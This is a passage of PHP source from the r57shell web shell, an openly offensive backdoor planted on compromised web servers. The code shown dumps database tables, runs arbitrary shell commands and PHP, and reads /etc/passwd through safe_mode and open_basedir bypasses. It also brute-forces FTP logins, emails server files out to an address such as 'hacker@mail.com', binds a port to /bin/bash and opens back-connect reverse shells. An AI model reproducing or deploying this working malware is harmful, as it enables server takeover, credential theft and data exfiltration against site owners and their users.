1751 if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
1752 if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){
1753 $sqh = "# homepage: http://rst.void.ru\r\n";
1754 $sqh .= "# ---------------------------------\r\n";
1755 $sqh .= "# date : ".date ("j F Y g:i")."\r\n";
1756 $sqh .= "# database : ".$_POST['mysql_db']."\r\n";
1757 $sqh .= "# table : ".$_POST['mysql_tbl']."\r\n";
1758 $sqh .= "# ---------------------------------\r\n\r\n";
1759 switch($_POST['db']){
1760 case 'MySQL':
1761 if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
1762 $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
1763 if($db)
1764 {
1765 if(@mysql_select_db($_POST['mysql_db'],$db))
1766 {
1767 $sql1 = "# MySQL dump created by r57shell\r\n";
1768 $sql1 .= $sqh;
1769 $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);
1770 $row = @mysql_fetch_row($res);
1771 $sql1 .= $row[1]."\r\n\r\n";
1772 $sql1 .= "# ---------------------------------\r\n\r\n";
1773 $sql2 = '';
1774 $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);
1775 if (@mysql_num_rows($res) > 0) {
1776 while (($row = @mysql_fetch_assoc($res))) {
1777 $keys = @implode("`, `", @array_keys($row));
1778 $values = @array_values($row);
1779 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
1780 $values = @implode("', '", $values);
1781 $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n";
1782 }
1783 $sql2 .= "\r\n# ---------------------------------";
1784 }
1785 if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
1786 else { echo $sql1.$sql2; }
1787 }
1788 else echo "[-] ERROR! Can't select database";
1789 @mysql_close($db);
1790 }
1791 else echo "[-] ERROR! Can't connect to MySQL server";
1792 break;
1793 case 'MSSQL':
1794 if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
1795 $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
1796 if($db)
1797 {
1798 if(@mssql_select_db($_POST['mysql_db'],$db))
1799 {
1800 $sql1 = "# MSSQL dump created by r57shell\r\n";
1801 $sql1 .= $sqh;
1802 $sql2 = '';
1803 $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db);
1804 if (@mssql_num_rows($res) > 0) {
1805 while (($row = @mssql_fetch_assoc($res))) {
1806 $keys = @implode(", ", @array_keys($row));
1807 $values = @array_values($row);
1808 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
1809 $values = @implode("', '", $values);
1810 $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
1811 }
1812 $sql2 .= "\r\n# ---------------------------------";
1813 }
1814 if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
1815 else { echo $sql1.$sql2; }
1816 }
1817 else echo "[-] ERROR! Can't select database";
1818 @mssql_close($db);
1819 }
1820 else echo "[-] ERROR! Can't connect to MSSQL server";
1821 break;
1822 case 'PostgreSQL':
1823 if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
1824 $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
1825 $db = @pg_connect($str);
1826 if($db)
1827 {
1828 $sql1 = "# PostgreSQL dump created by r57shell\r\n";
1829 $sql1 .= $sqh;
1830 $sql2 = '';
1831 $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl']."");
1832 if (@pg_num_rows($res) > 0) {
1833 while (($row = @pg_fetch_assoc($res))) {
1834 $keys = @implode(", ", @array_keys($row));
1835 $values = @array_values($row);
1836 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
1837 $values = @implode("', '", $values);
1838 $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
1839 }
1840 $sql2 .= "\r\n# ---------------------------------";
1841 }
1842 if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
1843 else { echo $sql1.$sql2; }
1844 @pg_close($db);
1845 }
1846 else echo "[-] ERROR! Can't connect to PostgreSQL server";
1847 break;
1848 }
1849 }
1850 else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in dump file"; }
1851 }
1852echo "</textarea></div>";
1853echo "</b>";
1854echo "</td></tr></table>";
1855
1856echo "<table width=100% cellpadding=0 cellspacing=0>";
1857function up_down($id)
1858 {
1859 return ' <img src='.$_SERVER['PHP_SELF'].'?img=1 onClick="document.getElementById(\''.$id.'\').style.display = \'none\'; document.cookie=\''.$id.'=0;\';" title="Hide"><img src='.$_SERVER['PHP_SELF'].'?img=2 onClick="document.getElementById(\''.$id.'\').style.display = \'block\'; document.cookie=\''.$id.'=1;\';" title="Show">';
1860 }
1861function div($id)
1862 {
1863 if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">';
1864 return '<div id="'.$id.'">';
1865 }
1866if(!$safe_mode){
1867echo $fs.$table_up1."Execute command on server".up_down('id1').$table_up2.div('id1').$ts;
1868echo sr(15,"<b>Run command :".$arrow."</b>",in('text','cmd',85,''));
1869echo sr(15,"<b>Work directory ".$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,"Execute"));
1870echo $te.'</div>'.$table_end1.$fe;
1871}
1872else{
1873echo $fs.$table_up1."Work in safe_mode ".up_down('id2').$table_up2.div('id2').$ts;
1874echo sr(15,"<b>Work directory ".$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,"Change"));
1875echo $te.'</div>'.$table_end1.$fe;
1876}
1877echo $fs.$table_up1."Edit files".up_down('id3').$table_up2.div('id3').$ts;
1878echo sr(15,"<b> File for edit ".$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,"Edit file"));
1879echo $te.'</div>'.$table_end1.$fe;
1880if($safe_mode){
1881echo $fs.$table_up1."Create/Delete File/Dir ".up_down('id4').$table_up2.div('id4').$ts;
1882echo sr(15,"<b> name ".$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>Create</option><option value=delete>Delete</option></select>".ws(3)."<select name=what><option value=file>File</option><option value=dir>Dir</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,"Create/Delete"));
1883echo $te.'</div>'.$table_end1.$fe;
1884}
1885if($safe_mode && $unix){
1886echo $fs.$table_up1."Chown/Chgrp/Chmod".up_down('id5').$table_up2.div('id5').$ts;
1887echo sr(15,"<b>Command".$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>"."param1".$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>"."param2".$arrow."</b>".ws(2).in('text','param2 title="'."Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...".'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,"Execute"));
1888echo $te.'</div>'.$table_end1.$fe;
1889}
1890if(!$safe_mode){
1891foreach ($aliases as $alias_name=>$alias_cmd)
1892 {
1893 $aliases2 .= "<option>$alias_name</option>";
1894 }
1895echo $fs.$table_up1."Aliases".up_down('id6').$table_up2.div('id6').$ts;
1896echo sr(15,"<b>".ws(9)."Select alias".$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,"Execute"));
1897echo $te.'</div>'.$table_end1.$fe;
1898}
1899echo $fs.$table_up1."Find text in files".up_down('id7').$table_up2.div('id7').$ts;
1900echo sr(15,"<b>"."Find text ".$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,"Find"));
1901echo sr(15,"<b> In dirs ".$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
1902echo sr(15,"<b>Only in files ".$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
1903echo $te.'</div>'.$table_end1.$fe;
1904if(!$safe_mode && $unix){
1905echo $fs.$table_up1."Search text in files via find ".up_down('id8').$table_up2.div('id8').$ts;
1906echo sr(15,"<b>"."Text for find ".$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,"Find"));
1907echo sr(15,"<b> Find in folder ".$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
1908echo sr(15,"<b>Find in files ".$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1)." you can use regexp ".in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
1909echo $te.'</div>'.$table_end1.$fe;
1910}
1911echo $fs.$table_up1."Eval PHP code ".up_down('id9').$table_up2.$font;
1912echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>";
1913echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");"));
1914echo "</textarea>";
1915echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
1916echo "<br>".ws(1).in('submit','submit',0,"Execute");
1917echo "</div></div></font>";
1918echo $table_end1.$fe;
1919if($safe_mode&&$curl_on)
1920{
1921echo $fs.$table_up1."Test bypass open_basedir with cURL functions ".up_down('id10').$table_up2.div('id10').$ts;
1922echo sr(15,"<b> Cat file ".$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,"Test"));
1923echo $te.'</div>'.$table_end1.$fe;
1924}
1925if($safe_mode)
1926{
1927echo $fs.$table_up1."Test bypass safe_mode with include function ".up_down('id11').$table_up2.div('id11').$ts;
1928echo "<table class=table1 width=100% align=center>";
1929echo sr(15,"<b>"."Cat file ".$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,"Test"));
1930echo $te.'</div>'.$table_end1.$fe;
1931}
1932if($safe_mode&&$mysql_on)
1933{
1934echo $fs.$table_up1."Test bypass safe_mode with load file in mysql ".up_down('id12').$table_up2.div('id12').$ts;
1935echo sr(15,"<b>Database ".$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>"."Login ".$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>"."Password".$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>"."Port".$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
1936echo sr(15,"<b>Cat file ".$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,"Test"));
1937echo $te.'</div>'.$table_end1.$fe;
1938}
1939if($safe_mode&&$mssql_on)
1940{
1941echo $fs.$table_up1."Test bypass safe_mode with commands execute via MSSQL server ".up_down('id13').$table_up2.div('id13').$ts;
1942echo sr(15,"<b> Database ".$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>Login ".$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>Password ".$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>Port ".$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
1943echo sr(15,"<b>Run command ".$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,"Test"));
1944echo $te.'</div>'.$table_end1.$fe;
1945}
1946if(@ini_get('file_uploads')){
1947echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
1948echo $table_up1."File Upload ".up_down('id14').$table_up2.div('id14').$ts;
1949echo sr(15,"<b>"."Change ".$arrow."</b>",in('file','userfile',85,''));
1950echo sr(15,"<b> New name ".$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,"Upload"));
1951echo $te.'</div>'.$table_end1.$fe;
1952}
1953if(!$safe_mode&&!$windows){
1954echo $fs.$table_up1."Upload files from remote server ".up_down('id15').$table_up2.div('id15').$ts;
1955echo sr(15,"<b>"."With ".$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>"."Remote file ".$arrow."</b>".in('text','rem_file',78,'http://'));
1956echo sr(15,"<b>"."Local file ".$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,"Upload"));
1957echo $te.'</div>'.$table_end1.$fe;
1958}
1959echo $fs.$table_up1."Download files from server ".up_down('id16').$table_up2.div('id16').$ts;
1960echo sr(15,"<b>"."file ".$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,"Download"));
1961$arh = "without archivation";
1962if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
1963if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
1964if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
1965echo sr(15,"<b>Archivation ".$arrow."</b>",in('radio','compress',0,'none').' '.$arh);
1966echo $te.'</div>'.$table_end1.$fe;
1967echo $table_up1."Php Bypass ".up_down('bypass').$table_up2.div('bypass').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
1968echo "<center><font face=tahoma size=-2><b><div align=center id='n'>Read File</div></b></font>";
1969echo sr(25,"<b>File :".$arrow."</b>",in('text','file',45,(!empty($_POST['file']))?($_POST['file']):("/etc/passwd")).in('submit','submit',2,"Read File"));
1970function rsg_read()
1971 {
1972 $test="";
1973 $temp=tempnam($test, "cx");
1974 $file=$_POST['file'];
1975 $get=htmlspecialchars($file);
1976 echo "<center><br><b><font size=2>Trying To Get File <font color=#000099><b>$get</b></font><br>";
1977 if(copy("compress.zlib://".$file, $temp)){
1978 $fichier = fopen($temp, "r");
1979 $action = fread($fichier, filesize($temp));
1980 fclose($fichier);
1981 $source=htmlspecialchars($action);
1982echo "<div align=\"center\"><b><font size=2>Start $get</b><br><br><font color=\"black\"><textarea name=report cols=40 rows=10>$source</textarea><br><b><br>Fin <b><font size=2>$get</font></b>";
1983 unlink($temp);
1984 } else {
1985 die("<b><font size=2><CENTER>Sorry... File
1986 <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
1987 access.</CENTER></FONT>");
1988 }
1989 echo "</div>";
1990 }
1991
1992if(isset($_POST['file']))
1993{
1994rsg_read();
1995}
1996echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
1997echo "<font face=tahoma size=-2><b><div align=center id='n'>View Dir</div></b></font>";
1998echo sr(25,"<b>Dir :".$arrow."</b>",in('text','directory',45,(!empty($_POST['directory']))?($_POST['directory']):("/etc")).in('submit','submit',2,'View'));
1999function rsg_glob()
2000{
2001$chemin=$_POST['directory'];
2002$files = glob("$chemin*");
2003echo "<center><b><font size=2>Trying To List Folder <font color=#000099><b>$chemin</b></font><br>";
2004echo "<textarea cols=40 rows=10>";
2005foreach ($files as $filename) {
2006 echo "$filename\n";
2007 }
2008echo "</textarea></center>";
2009}
2010if(isset($_POST['directory']))
2011{
2012rsg_glob();
2013}
2014echo $te."</td>".$fe."</tr></div></table>";
2015
2016if(@function_exists("ftp_connect")){
2017echo $table_up1."FTP ".up_down('id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
2018echo "<font face=tahoma size=-2><b><div align=center id='n'>"."Download files from remote ftp-server "."</div></b></font>";
2019echo sr(25,"<b>FTP-server:port ".$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
2020echo sr(25,"<b>Login ".$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
2021echo sr(25,"<b>Password ".$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
2022echo sr(25,"<b>File on ftp ".$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
2023echo sr(25,"<b>Local file ".$arrow."</b>",in('text','loc_file',45,$dir));
2024echo sr(25,"<b>Transfer mode ".$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
2025echo sr(25,"",in('submit','submit',0,"Download"));
2026echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
2027echo "<font face=tahoma size=-2><b><div align=center id='n'>Send file to remote ftp server</div></b></font>";
2028echo sr(25,"<b>FTP-server:port ".$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
2029echo sr(25,"<b>Login ".$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
2030echo sr(25,"<b>Password ".$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
2031echo sr(25,"<b>Local file ".$arrow."</b>",in('text','loc_file',45,$dir));
2032echo sr(25,"<b>File on ftp ".$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
2033echo sr(25,"<b>Transfer mode ".$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
2034echo sr(25,"",in('submit','submit',0,"Upload"));
2035echo $te."</td>".$fe."</tr></div></table>";
2036}
2037
2038if($unix && @function_exists("ftp_connect")){
2039echo $fs.$table_up1."FTP-bruteforce ".up_down('id18').$table_up2.div('id18').$ts;
2040echo sr(15,"<b>FTP-server:port ".$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,"Execute"));
2041echo sr(15,"","<font face=tahoma size=-2>use username from /etc/passwd for ftp login and password "." ( <a href=".$_SERVER['PHP_SELF']."?users>Can\'t get users list "."</a> )</font>");
2042echo sr(15,"",in('checkbox','reverse id=reverse',0,'1')."Use reverse (user -> resu) login for password");
2043echo $te.'</div>'.$table_end1.$fe;
2044}
2045if(@function_exists("mail")){
2046echo $table_up1."Mail ".up_down('id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
2047echo "<font face=tahoma size=-2><b><div align=center id='n'>"."Send email"."</div></b></font>";
2048echo sr(25,"<b>"."To ".$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
2049echo sr(25,"<b>"."From ".$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
2050echo sr(25,"<b>"."Subject".$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
2051echo sr(25,"<b>Mail ".$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
2052echo sr(25,"",in('submit','submit',0,"Send"));
2053echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
2054echo "<font face=tahoma size=-2><b><div align=center id='n'>Send file to email</div></b></font>";
2055echo sr(25,"<b>To ".$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
2056echo sr(25,"<b>From ".$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
2057echo sr(25,"<b>Subject ".$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell"))));
2058echo sr(25,"<b>Local file ".$arrow."</b>",in('text','loc_file',45,$dir));
2059$arh = "without archivation";
2060if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
2061if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
2062if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
2063echo sr(25,"<b>Archivation ".$arrow."</b>",in('radio','compress',0,'none').' '.$arh);
2064echo sr(25,"",in('submit','submit',0,"Send"));
2065echo $te."</td>".$fe."</tr></div></table>";
2066}
2067if($mysql_on||$mssql_on||$pg_on||$ora_on)
2068{
2069$select = '<select name=db>';
2070if($mysql_on) $select .= '<option>MySQL</option>';
2071if($mssql_on) $select .= '<option>MSSQL</option>';
2072if($pg_on) $select .= '<option>PostgreSQL</option>';
2073if($ora_on) $select .= '<option>Oracle</option>';
2074$select .= '</select>';
2075echo $table_up1."Databases ".up_down('id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
2076echo "<font face=tahoma size=-2><b><div align=center id='n'>Show database structure</div></b></font>";
2077echo sr(45,"<b>Type ".$arrow."</b>",$select);
2078echo sr(45,"<b>Port ".$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
2079echo sr(45,"<b>Login ".$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
2080echo sr(45,"<b>Password ".$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
2081echo sr(45,"<b>show tables ".$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1'));
2082echo sr(45,"<b>show columns ".$arrow."</b>",in('checkbox','sc id=sc',0,'1'));
2083echo sr(45,"",in('submit','submit',0,"Show"));
2084echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
2085echo "<font face=tahoma size=-2><b><div align=center id='n'>Dump database table</div></b></font>";
2086echo sr(45,"<b>Type ".$arrow."</b>",$select);
2087echo sr(45,"<b>Port ".$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
2088echo sr(45,"<b>Login ".$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
2089echo sr(45,"<b>Password ".$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
2090echo sr(45,"<b>Database ".$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
2091echo sr(45,"<b>Table ".$arrow."</b>",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
2092echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>Save dump in file ".$arrow."</b>",in('checkbox','dif id=dif',0,'1'));
2093echo sr(45,"<b>file ".$arrow."</b>",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
2094echo sr(45,"",in('submit','submit',0,"Dump"));
2095echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
2096echo "<font face=tahoma size=-2><b><div align=center id='n'>Run SQL query "."</div></b></font>";
2097echo sr(45,"<b>Type ".$arrow."</b>",$select);
2098echo sr(45,"<b>Port ".$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
2099echo sr(45,"<b>Login ".$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
2100echo sr(45,"<b>Password ".$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
2101echo sr(45,"<b>Database ".$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
2102echo sr(45,"<b>SQL query ".$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
2103echo $te."<div align=center id='n'><textarea cols=35 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\n"))."</textarea><br>".in('submit','submit',0,"Execute")."</div></td>".$fe."</tr></div></table>";
2104}
2105if(!$safe_mode&&!$windows){
2106echo $table_up1."Net".up_down('id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
2107echo "<font face=tahoma size=-2><b><div align=center id='n'>Bind port to /bin/bash</div></b></font>";
2108echo sr(40,"<b>Port ".$arrow."</b>",in('text','port',15,'11457'));
2109echo sr(40,"<b>Password for access ".$arrow."</b>",in('text','bind_pass',15,'r57'));
2110echo sr(40,"<b>Use ".$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
2111echo sr(40,"",in('submit','submit',0,"Bind"));
2112echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
2113echo "<font face=tahoma size=-2><b><div align=center id='n'>Back-connect</div></b></font>";
2114echo sr(40,"<b>IP ".$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
2115echo sr(40,"<b>Port ".$arrow."</b>",in('text','port',15,'11457'));
2116echo sr(40,"<b>Use ".$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
2117echo sr(40,"",in('submit','submit',0,"Connect"));
2118echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
2119echo "<font face=tahoma size=-2><b><div align=center id='n'>datapipe"."</div></b></font>";
2120echo sr(40,"<b>Local port ".$arrow."</b>",in('text','local_port',15,'11457'));
2121echo sr(40,"<b>Remote host ".$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru'));
2122echo sr(40,"<b>Remote port ".$arrow."</b>",in('text','remote_port',15,'6667'));
2123echo sr(40,"<b>Use ".$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
2124echo sr(40,"",in('submit','submit',0,"Run"));
2125echo $te."</td>".$fe."</tr></div></table>";
2126}
2127echo "</div>";
2128
2129echo '</table>'.$table_up3."</div><div align=center id='n'><font face=tahoma size=-2><b>--+[ ^($)^ - http-shell by hCe | <a href=http://hcegroup.net>www.hCegRouP.NeT</a> | <a href=mailto:vns3curity@gmail.com>hCegRouP.NeT</a> | version ".$version." ]+--</b></font></div></td></tr></table>".$f;
2130 ?>